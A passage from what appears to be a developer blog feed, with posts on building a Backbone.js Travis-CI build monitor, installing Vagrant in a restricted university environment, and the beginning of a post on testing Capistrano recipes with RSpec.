for 2013!</p>
On being a frontend developer for a weekend2012-12-24T00:00:00+00:00https://williamdurand.fr/2012/12/24/on-being-a-frontend-developer-for-a-weekend<p>Two weeks ago, I open-sourced
<a href="https://github.com/willdurand/TravisLight">TravisLight</a>, a build monitoring
tool ā also known as a <em>build wall</em> ā for <a href="https://travis-ci.org/">Travis-CI</a>.
That was a weekend project I did for fun but also to embrace frontend
development.</p>
<p>When I was at Nelmio, I was mainly a backend dev, even though I worked on some
JavaScript stuff. I spent most of my time writing APIs for the frontend
developers, not JavaScript apps. That needed to change!</p>
<h2 id="the-beginning">The beginning</h2>
<p>I started to read Backbone Fundamentals as I wanted to learn
<a href="https://backbonejs.org/">Backbone.js</a>. Backbone.js is a JavaScript framework
that offers a structure to write a web application.</p>
<p>Since working on a project is the best way to learn, I decided to write a
Backbone.js application using the Travis-CI API. TravisLight ā the project I
developed over a weekend ā was something I always wanted in order to manage my
own open source projects. I needed a tool that was simple and clear. That was
the perfect project to start, especially for a weekend!</p>
<p>Instead of using <a href="https://underscorejs.org/">Underscore.js</a>, I used
<a href="https://lodash.com/">Lo-Dash</a>, an alternative to Underscore.js delivering
consistency, customization, performance, and extra features as they say. I also
used <a href="https://requirejs.org/">RequireJS</a> and <a href="https://momentjs.com/">Moment.js</a>.
In order to manage all these dependencies, I needed a tool: Bower (from Twitter)
looked like the right tool.</p>
<h2 id="bower-a-package-manager-for-the-web">Bower, a package manager for the web</h2>
<p><a href="https://github.com/twitter/bower">Bower</a> is a package manager for the web (i.e.
for JS/CSS libraries). Even if it is more a package downloader for now, itās
worth using it to avoid putting libraries in git directly.</p>
<p>Bower relies on a <code class="language-plaintext highlighter-rouge">component.json</code> file that looks like this:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"travis-light"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"jquery"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~1.8.3"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Running <code class="language-plaintext highlighter-rouge">bower install</code> will install the dependencies into a <code class="language-plaintext highlighter-rouge">components/</code>
folder. To add a new library, we can run <code class="language-plaintext highlighter-rouge">bower install <lib> --save</code> to install
it. This command will also update the <code class="language-plaintext highlighter-rouge">component.json</code> file automatically.</p>
<p>At the beginning of the development phase, I needed a tool to perform some tasks
on my application like running <a href="https://www.jshint.com/">jshint</a> or compiling my
files. I tried Grunt, a build tool written in JavaScript, and it turned out to
be a good choice.</p>
<h2 id="grunt-the-javascript-build-tool">Grunt, the JavaScript build tool</h2>
<p><a href="https://gruntjs.com/">Grunt</a> is a task-based command line build tool for
JavaScript projects. At first glance, this tool seems hard to use but once you
get it, itās magic! You can <em>lint</em> your files, <em>minify</em> your JS/CSS files, <em>run</em>
the test suite, and so on.</p>
<p>In TravisLight, I mainly used Grunt to package the application. This includes:</p>
<ul>
<li>compiling the JavaScript files</li>
<li>compiling the CSS files</li>
<li>using the compiled files into the HTML markup</li>
<li>copying the required libraries</li>
</ul>
<p>Thanks to the
<a href="https://github.com/gruntjs/grunt-contrib-requirejs">grunt-contrib-requirejs</a>
plugin, compiling the JavaScript files is straightforward:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">requirejs:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">compile:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">options:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">name:</span><span class="w"> </span><span class="s2">"main"</span><span class="p">,</span><span class="w">
</span><span class="err">baseUrl:</span><span class="w"> </span><span class="s2">"js/"</span><span class="p">,</span><span class="w">
</span><span class="err">mainConfigFile:</span><span class="w"> </span><span class="s2">"js/main.js"</span><span class="p">,</span><span class="w">
</span><span class="err">out:</span><span class="w"> </span><span class="s2">"dist/compiled.js"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Compiling the CSS files in TravisLight is a two-step task. First, all the images
in the CSS have to be embedded using the
<a href="https://github.com/ehynds/grunt-image-embed">grunt-image-embed</a> plugin:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">imageEmbed:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">application:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">src:</span><span class="w"> </span><span class="err">'css/application.css'</span><span class="p">,</span><span class="w">
</span><span class="err">dest:</span><span class="w"> </span><span class="err">'dist/application-embed.css'</span><span class="p">,</span><span class="w">
</span><span class="err">deleteAfterEncoding</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Then, the CSS files are minified using the
<a href="https://github.com/gruntjs/grunt-contrib-mincss/">grunt-contrib-mincss</a> plugin:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">mincss:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">compress:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">files:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">'dist/compiled.css':</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="err">'css/bootstrap.min.css'</span><span class="p">,</span><span class="w">
</span><span class="err">'dist/application-embed.css'</span><span class="w">
</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>At this point, the last task is compiling the HTML to use the JS and CSS
compiled files. This is achieved by using the
<a href="https://github.com/changer/grunt-targethtml">grunt-targethtml</a> plugin:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">targethtml:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">dist:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">src:</span><span class="w"> </span><span class="err">'index.html'</span><span class="p">,</span><span class="w">
</span><span class="err">dest:</span><span class="w"> </span><span class="err">'dist/index.html'</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">index.html</code> file looks like:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!doctype html></span>
<span class="nt"><html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">></span>
...
<span class="nt"><body</span> <span class="na">data-api-url=</span><span class="s">"https://api.travis-ci.org"</span><span class="nt">></span>
<span class="c"><!--(if target dist)>
<script data-main="compiled" src="js/require.js"></script>
<!(endif)--></span>
<span class="c"><!--(if target dummy)><!--></span>
<span class="nt"><script </span><span class="na">data-main=</span><span class="s">"js/main"</span> <span class="na">src=</span><span class="s">"components/requirejs/require.js"</span><span class="nt">></script></span>
<span class="c"><!--<!(endif)--></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">target dummy</code> (the default) loads the code in development. This is a nice way
to keep a single HTML file with the ability to switch from development to
production (or whatever environment you want). That was an issue I was unable to
solve until I found this plugin!</p>
<p>Last but not least, the
<a href="https://github.com/gruntjs/grunt-contrib-copy/">grunt-contrib-copy</a> plugin is
used to copy some important files to the <code class="language-plaintext highlighter-rouge">dist/</code> folder (which is where the
final build of the application is located):</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">copy:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">dist:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">files:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">'dist/js/require.js':</span><span class="w"> </span><span class="err">'components/requirejs/require.js'</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>Running <code class="language-plaintext highlighter-rouge">grunt package</code> performs all these tasks. See the TravisLightās
<a href="https://github.com/willdurand/TravisLight/blob/master/grunt.js">grunt.js</a> file
for more details, especially the aliases.</p>
<p>With a great build system and lots of code written already, I needed to write
tests so I looked at some of the existing JavaScript testing libraries. I
already knew <a href="https://qunitjs.com/">QUnit</a> but I wanted to use something
different. I ended up using <a href="https://mochajs.org/">Mocha</a> and
<a href="https://chaijs.com/">Chai</a>.</p>
<h2 id="testing-a-backbonejs-application">Testing a Backbone.js application</h2>
<p>In the JavaScript world, there are plenty of testing libraries such as
<a href="https://qunitjs.com/">QUnit</a>, <a href="https://mochajs.org/">Mocha</a>, Jasmine,
<a href="https://chaijs.com/">Chai</a>, <a href="https://sinonjs.org/">Sinon.js</a>,
<a href="https://github.com/Automattic/expect.js">Expect.js</a>,
<a href="https://github.com/tj/should.js">Should.js</a>, and a lot more that I probably
donāt even know.</p>
<p>As I wrote before, I used Mocha and Chai. These libraries can be installed using
<a href="https://npmjs.org/">npm</a> (the <a href="https://nodejs.org/">Node.js</a> package manager).
This tool uses a <code class="language-plaintext highlighter-rouge">package.json</code> file to define both the ānormalā and ādevā
dependencies:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"TravisLight"</span><span class="p">,</span><span class="w">
</span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0.0.1"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"devDependencies"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"mocha"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~1.7.4"</span><span class="p">,</span><span class="w">
</span><span class="nl">"chai"</span><span class="p">:</span><span class="w"> </span><span class="s2">"~1.4.0"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>A <code class="language-plaintext highlighter-rouge">node_modules/</code> directory contains the different packages specified in this
<code class="language-plaintext highlighter-rouge">package.json</code> file and installed by running <code class="language-plaintext highlighter-rouge">npm install</code>.</p>
<p>From there, I created a new file (<code class="language-plaintext highlighter-rouge">test/index.html</code>) that executes the test
suite in a browser:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">></span>
<span class="nt"><title></span>TravisLight Test Suite<span class="nt"></title></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">"stylesheet"</span> <span class="na">href=</span><span class="s">"../node_modules/mocha/mocha.css"</span> <span class="nt">/></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"mocha"</span><span class="nt">></div></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"../node_modules/chai/chai.js"</span><span class="nt">></script></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"../node_modules/mocha/mocha.js"</span><span class="nt">></script></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"../components/jquery/jquery.min.js"</span><span class="nt">></script></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"../components/requirejs/require.js"</span><span class="nt">></script></span>
<span class="nt"><script </span><span class="na">src=</span><span class="s">"setup.js"</span><span class="nt">></script></span>
<span class="nt"><script></span>
<span class="nx">require</span><span class="p">(</span>
<span class="p">[</span>
<span class="dl">'</span><span class="s1">../test/router.test</span><span class="dl">'</span><span class="p">,</span>
<span class="p">],</span>
<span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="nx">mocha</span><span class="p">.</span><span class="nx">run</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">);</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>First, Mocha and Chai are loaded, followed by jQuery and RequireJS. Then, a
<code class="language-plaintext highlighter-rouge">setup.js</code> file is loaded. It contains the Mocha and RequireJS configurations as
well as two global variables (<code class="language-plaintext highlighter-rouge">assert</code> and <code class="language-plaintext highlighter-rouge">expect</code>) that are used in the test
files:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">var</span><span class="w"> </span><span class="err">assert</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="err">chai.assert,</span><span class="w">
</span><span class="err">expect</span><span class="w"> </span><span class="err">=</span><span class="w"> </span><span class="err">chai.expect;</span><span class="w">
</span><span class="err">mocha.setup(</span><span class="p">{</span><span class="w">
</span><span class="err">ui:</span><span class="w"> </span><span class="err">'bdd'</span><span class="w">
</span><span class="p">}</span><span class="err">);</span><span class="w">
</span><span class="err">require.config(</span><span class="p">{</span><span class="w">
</span><span class="err">baseUrl:</span><span class="w"> </span><span class="err">'../js/'</span><span class="p">,</span><span class="w">
</span><span class="err">...</span><span class="w">
</span><span class="p">}</span><span class="err">);</span><span class="w">
</span></code></pre></div></div>
<p>I decided to follow the Behavior Driven Development style but this isnāt
mandatory. Here is an example of a test file for the TravisLightās <code class="language-plaintext highlighter-rouge">router</code>:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">define(</span><span class="p">[</span><span class="w">
</span><span class="err">'router'</span><span class="w">
</span><span class="p">]</span><span class="err">,</span><span class="w"> </span><span class="err">function</span><span class="w"> </span><span class="err">(router)</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="s2">"use script"</span><span class="err">;</span><span class="w">
</span><span class="err">describe('router'</span><span class="p">,</span><span class="w"> </span><span class="err">function</span><span class="w"> </span><span class="err">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">it('should</span><span class="w"> </span><span class="err">be</span><span class="w"> </span><span class="err">an</span><span class="w"> </span><span class="err">instance</span><span class="w"> </span><span class="err">of</span><span class="w"> </span><span class="err">Backbone.Router'</span><span class="p">,</span><span class="w"> </span><span class="err">function</span><span class="w"> </span><span class="err">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">expect(router).to.be.an.instanceOf(Backbone.Router);</span><span class="w">
</span><span class="p">}</span><span class="err">);</span><span class="w">
</span><span class="err">it('should</span><span class="w"> </span><span class="err">have</span><span class="w"> </span><span class="err">a</span><span class="w"> </span><span class="err">routes</span><span class="w"> </span><span class="err">property'</span><span class="p">,</span><span class="w"> </span><span class="err">function</span><span class="w"> </span><span class="err">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">expect(router.routes).to.be.an('object');</span><span class="w">
</span><span class="p">}</span><span class="err">);</span><span class="w">
</span><span class="p">}</span><span class="err">);</span><span class="w">
</span><span class="p">}</span><span class="err">);</span><span class="w">
</span></code></pre></div></div>
<p>You will find more tests in this <a href="https://github.com/willdurand/TravisLight/tree/master/test"><code class="language-plaintext highlighter-rouge">test/</code>
directory</a>.</p>
<p>Achievement unlocked! I wrote a JavaScript application that is tested.</p>
<h2 id="using-travis-ci-with-javascript-projects">Using Travis-CI with JavaScript projects</h2>
<p>I am a big fan of <a href="https://travis-ci.org/">Travis-CI</a> and I wanted to put
TravisLight on it. Thanks to Grunt, it couldnāt be easier!</p>
<p>The <a href="https://github.com/kmiyashiro/grunt-mocha">grunt-mocha</a> plugin allows to
use Mocha and <a href="https://phantomjs.org/">PhantomJS</a> to run a test suite. Here is
the TravisLightās configuration for this plugin:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">mocha:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="err">all:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="err">'test/index.html'</span><span class="w"> </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>A simple <code class="language-plaintext highlighter-rouge">grunt mocha</code> runs the test suite using PhantomJS (a headless browser):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grunt mocha
Running "mocha:all" (mocha) task
Testing index.html...................OK
>> 19 assertions passed (0.14s)
Done, without errors.
</code></pre></div></div>
<p>Not bad, right? However, Travis-CI needs to be configured with a <code class="language-plaintext highlighter-rouge">.travis.yml</code>
file. JavaScript projects have to use the <code class="language-plaintext highlighter-rouge">node_js</code> environment on Travis-CI
and the application requires a set of libraries installed with Bower.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">language</span><span class="pi">:</span> <span class="s">node_js</span>
<span class="na">node_js</span><span class="pi">:</span>
<span class="pi">-</span> <span class="m">0.8</span>
<span class="na">before_script</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">export PATH=\$PATH:`npm bin`</span>
<span class="pi">-</span> <span class="s">bower install</span>
</code></pre></div></div>
<p>Travis-CI automatically runs <code class="language-plaintext highlighter-rouge">npm install</code> and <code class="language-plaintext highlighter-rouge">npm test</code>. This second command
is configured in the <code class="language-plaintext highlighter-rouge">package.json</code> file:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="err">...</span><span class="w">
</span><span class="nl">"scripts"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"test"</span><span class="p">:</span><span class="w"> </span><span class="s2">"./node_modules/grunt/bin/grunt test"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<h2 id="the-end">The end</h2>
<p>I sincerely enjoyed this weekend project. Working on a real project, even a
small one like TravisLight, allowed me to discover new things and understand a
bit better what it is like to be a frontend developer.</p>
<p>I also kinda felt in love with the JavaScript community. There is a lot of
awesome libraries and frameworks these days! Great stuff, looking forward to
writing more JavaScript in the future.</p>
Installing Vagrant in a restricted environment2012-12-06T00:00:00+00:00https://williamdurand.fr/2012/12/06/installing-vagrant-in-a-restricted-environment<p>Lately, I had to install <a href="https://www.vagrantup.com/">Vagrant</a> in a restricted environment. By that, I
mean an infrastructure with restricted permissions for our users, disk quotas,
NFS volumes and a stable operating system: Debian Squeeze32. This work has been
done in collaboration with the sysadmin of my University.</p>
<h2 id="installation">Installation</h2>
<p>At the time of writing, Vagrant needs VirtualBox 4.0 or upper, but the latest
<a href="https://wiki.debian.org/VirtualBox">VirtualBox version available for Debian stable</a> is 3.2.10 OSE.
Fortunately, Debian Backports provide VirtualBox 4.0.x:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># /etc/apt/sources.list
deb http://backports.debian.org/debian-backports squeeze-backports main
</code></pre></div></div>
<p>Installing VirtualBox becomes easy:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>apt-get -t squeeze-backports install virtualbox virtualbox-dkms
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">virtualbox-dkms</code> package is required to compile the module. If you want a
graphical user interface, you should install <code class="language-plaintext highlighter-rouge">virtualbox-qt</code> too.</p>
<p>Also, if you use a virtualization solution (KVM for instance), you should unload
its module (<a href="https://man7.org/linux/man-pages/man8/rmmod.8.html"><code class="language-plaintext highlighter-rouge">rmmod</code>(8)</a> is your friend).</p>
<p>Now, letās install Vagrant. Last stable version is 1.0.5, and you can find
packages at: <em>downloads.vagrantup.com/tags/v1.0.5</em> (this link no longer works).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget http://files.vagrantup.com/packages/be0bc66efc0c5919e92d8b79e973d9911f2a511f/vagrant_1.0.5_i686.deb
dpkg -i vagrant_1.0.5_i686.deb
</code></pre></div></div>
<h2 id="customizing-the-default-directories">Customizing the default directories</h2>
<p>As I said in the introduction, users have disk quotas (500Mo) and they canāt
easily use Vagrant for two reasons:</p>
<ul>
<li>VirtualBox stores its VMs in <code class="language-plaintext highlighter-rouge">~/VirtualBox VMs/</code> by default</li>
<li>Vagrant stores its boxes in <code class="language-plaintext highlighter-rouge">~/.vagrant.d/</code> by default</li>
</ul>
<p>The solution is to change these two directories. Thanksfully, Vagrant provides
a <code class="language-plaintext highlighter-rouge">VAGRANT_HOME</code> environment variable. You can easily change the default Vagrant
directory with:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>export VAGRANT_HOME=/path/to/vagrant
</code></pre></div></div>
<p>In our case, we used <code class="language-plaintext highlighter-rouge">/usr/local/vagrant</code> as the main Vagrant directory and we
set it for all users. That allowed us to import a set of boxes for our users.</p>
<p>Letās do the same thing for VirtualBox! Errā¦ no. There is no environment
variable defined for VirtualBox but we can still configure VirtualBox using
<code class="language-plaintext highlighter-rouge">vboxmanage</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vboxmanage setproperty machinefolder /path/to/virtualbox
</code></pre></div></div>
<p><a href="https://www.virtualbox.org/manual/ch08.html#vboxmanage-setproperty">VBoxManage setproperty</a> is useful to change global settings. The
command above changes the default machine folder (<code class="language-plaintext highlighter-rouge">~/VirtualBox VMs</code> by default).</p>
<p>We created a tiny shell script named <code class="language-plaintext highlighter-rouge">vagrant</code>, located in the <code class="language-plaintext highlighter-rouge">PATH</code> of our
users, to run this command and then forward the other arguments to Vagrant. The
reason is quite simple, there is no way to run VBoxManage using Vagrant before
everything else. I opened an issue for that (see:
<a href="https://github.com/mitchellh/vagrant/issues/1247">#1247</a>).</p>
<p>To avoid conflicts, you can use <code class="language-plaintext highlighter-rouge">$USER</code> to define a machine folder per user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vboxmanage setproperty machinefolder "/usr/local/virtualbox/$USER"
</code></pre></div></div>
<p>So far so good, our users can run Vagrant to install VMs.</p>
<h2 id="the-initramfs-prompt-of-death">The <code class="language-plaintext highlighter-rouge">initramfs</code> prompt (of death)</h2>
<p>We tried the <em>lucid32</em> Vagrant box, which is an <a href="https://www.vagrantup.com/docs/boxes">official box</a>, but that
didnāt work. This was an issue related to the box itself. VirtualBox couldnāt
boot it and an <code class="language-plaintext highlighter-rouge">initramfs</code> prompt was displayed. Most of the time, this prompt
appears because no disk can be found.</p>
<p>Thatās why we tried to change the disk controller. We removed the SATA
controller and attached the disk to the IDE controller. With this configuration,
we were able to boot the image, and to log in. <a href="https://github.com/mitchellh/vagrant/issues/884#issuecomment-10857450">This has been
reported</a>
as well.</p>
<p>The āfixā was to switch from a SATA controller to an IDE controller. Then again,
it can be done using VBoxManage:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vboxmanage storagectl <UUID> --name "SATA Controller" --remove
vboxmanage storageattach <UUID> --storagectl "IDE Controller" --port 0 --device 0 --type hdd --medium /path/to/box-disk1.vmdk
</code></pre></div></div>
<p>Vagrant provides a way to customize a VM thanks to the <code class="language-plaintext highlighter-rouge">config.vm.customize</code>
parameter:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>config.vm.customize ["modifyvm", :id, "--memory", 1024]
</code></pre></div></div>
<p>However, we decided to patch the boxes instead of using this parameter. One
reason was that we didnāt know how to get the path to the <code class="language-plaintext highlighter-rouge">vmdk</code> file.</p>
<p>We were able to boot a <code class="language-plaintext highlighter-rouge">lucid32</code> VM but a new issue appeared: NFS. In order to
share the current working directory with the VM, we used this configuration in
the <code class="language-plaintext highlighter-rouge">Vagrantfile</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>config.vm.share_folder("v-root", "/vagrant", ".", :nfs => true)
</code></pre></div></div>
<p>It worked fine without NFS set to <code class="language-plaintext highlighter-rouge">true</code> but it was quite slow. Thus, NFS was a
requirement.</p>
<h2 id="the-surprise">The surprise</h2>
<p>I dug into the code to understand how NFS was managed and why it was asking
for admin credentials. I was really suprised while reading the code. There was
no way to configure Vagrant to control the NFS part and, sadly, it was asking
the <code class="language-plaintext highlighter-rouge">root</code> password because of a call to <code class="language-plaintext highlighter-rouge">sudo su root</code>.</p>
<p>There is no way to give the <code class="language-plaintext highlighter-rouge">root</code> password to our users (mainly students). We
ended up patching Vagrant to use <code class="language-plaintext highlighter-rouge">exportfs</code> and a shell script to perform <code class="language-plaintext highlighter-rouge">sed</code>.
<code class="language-plaintext highlighter-rouge">nfsd</code> is always up so there is no need to restart it and <code class="language-plaintext highlighter-rouge">exportfs</code> does a
decent job. Since <code class="language-plaintext highlighter-rouge">/etc</code> is not writable for everyone, we used a shell script
to change the content of <code class="language-plaintext highlighter-rouge">/etc/exports</code> using a simple <code class="language-plaintext highlighter-rouge">sed -i -e</code>. Now, both
commands are sudoable.</p>
<p>And, thatās it! Our users can use Vagrant as usual.</p>
<h2 id="useful-tips">Useful tips</h2>
<p>Debugging Vagrant can be really useful, especially when you start playing with
VM customization. To enable logging, use the <code class="language-plaintext highlighter-rouge">VAGRANT_LOG</code> environment variable:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>VAGRANT_LOG=INFO vagrant up
</code></pre></div></div>
<p>Hardware virtualization <strong>should</strong> be enabled if you want to run 64-bit VMs on
a 32-bit host. The VirtualBox documentation isnāt super clear about that in the
chapter about <a href="https://www.virtualbox.org/manual/ch10.html#hwvirt">hardware vs software virtualization</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Vagrant needs some improvements to be more easily configurable and a bit safer
in my opinion. However, workarounds exist. In the end, Vagrant is a great tool
and it just works!</p>
Testing Capistrano recipes for dummies2012-11-06T00:00:00+00:00https://williamdurand.fr/2012/11/06/testing-capistrano-recipes-for-dummies<p>A couple months ago, I <a href="/2012/06/22/capifony-the-cool-capistrano-recipes-for-symfony-applications/">took the lead of capifony</a>, a set of
<a href="https://github.com/capistrano/capistrano">Capistrano</a> recipes for <a href="http://symfony.com">Symfony</a> projects. I tried to
revamp the project and one of my goals was to add tests. This article presents
my work on that topic.</p>
<h2 id="making-your-recipe-testable">Making your recipe testable</h2>
<p>In order to make a Capistrano recipe testable, a common practice is to create a
module that can extends a Capistrano configuration instance:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">module</span> <span class="nn">MyRecipe</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">load_into</span><span class="p">(</span><span class="n">configuration</span><span class="p">)</span>
<span class="n">configuration</span><span class="p">.</span><span class="nf">load</span> <span class="k">do</span>
<span class="c1"># Your code here</span>
<span class="c1"># ...</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">if</span> <span class="no">Capistrano</span><span class="o">::</span><span class="no">Configuration</span><span class="p">.</span><span class="nf">instance</span>
<span class="no">MyRecipe</span><span class="p">.</span><span class="nf">load_into</span><span class="p">(</span><span class="no">Capistrano</span><span class="o">::</span><span class="no">Configuration</span><span class="p">.</span><span class="nf">instance</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<p>The last three lines are needed to keep the original behavior of your recipe,
assuming you have an existing recipe that doesnāt follow this practice.</p>
<p>Now you are ready to test your recipe, but <em>how?</em> <a href="https://github.com/mydrive/capistrano-spec">capistrano-spec</a> to the
rescue! <strong>capistrano-spec</strong> brings <a href="https://rspec.info/">RSpec</a> to the Capistrano world so that
you can easily test your recipes. It has been created by <a href="https://github.com/technicalpickles">Josh
Nichols</a>.</p>
<h3 id="installing-capistrano-spec">Installing capistrano-spec</h3>
<p>The first step is to create a <code class="language-plaintext highlighter-rouge">spec/spec_helper.rb</code> file used to load everything
to run your tests. This file should look like this:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Bundler</span>
<span class="nb">require</span> <span class="s1">'rubygems'</span>
<span class="nb">require</span> <span class="s1">'bundler/setup'</span>
<span class="vg">$LOAD_PATH</span><span class="p">.</span><span class="nf">unshift</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="kp">__FILE__</span><span class="p">))</span>
<span class="vg">$LOAD_PATH</span><span class="p">.</span><span class="nf">unshift</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="kp">__FILE__</span><span class="p">),</span> <span class="s1">'..'</span><span class="p">,</span> <span class="s1">'lib'</span><span class="p">))</span>
<span class="nb">require</span> <span class="s1">'capistrano-spec'</span>
<span class="nb">require</span> <span class="s1">'rspec'</span>
<span class="nb">require</span> <span class="s1">'rspec/autorun'</span>
<span class="c1"># Add capistrano-spec matchers and helpers to RSpec</span>
<span class="no">RSpec</span><span class="p">.</span><span class="nf">configure</span> <span class="k">do</span> <span class="o">|</span><span class="n">config</span><span class="o">|</span>
<span class="n">config</span><span class="p">.</span><span class="nf">include</span> <span class="no">Capistrano</span><span class="o">::</span><span class="no">Spec</span><span class="o">::</span><span class="no">Matchers</span>
<span class="n">config</span><span class="p">.</span><span class="nf">include</span> <span class="no">Capistrano</span><span class="o">::</span><span class="no">Spec</span><span class="o">::</span><span class="no">Helpers</span>
<span class="k">end</span>
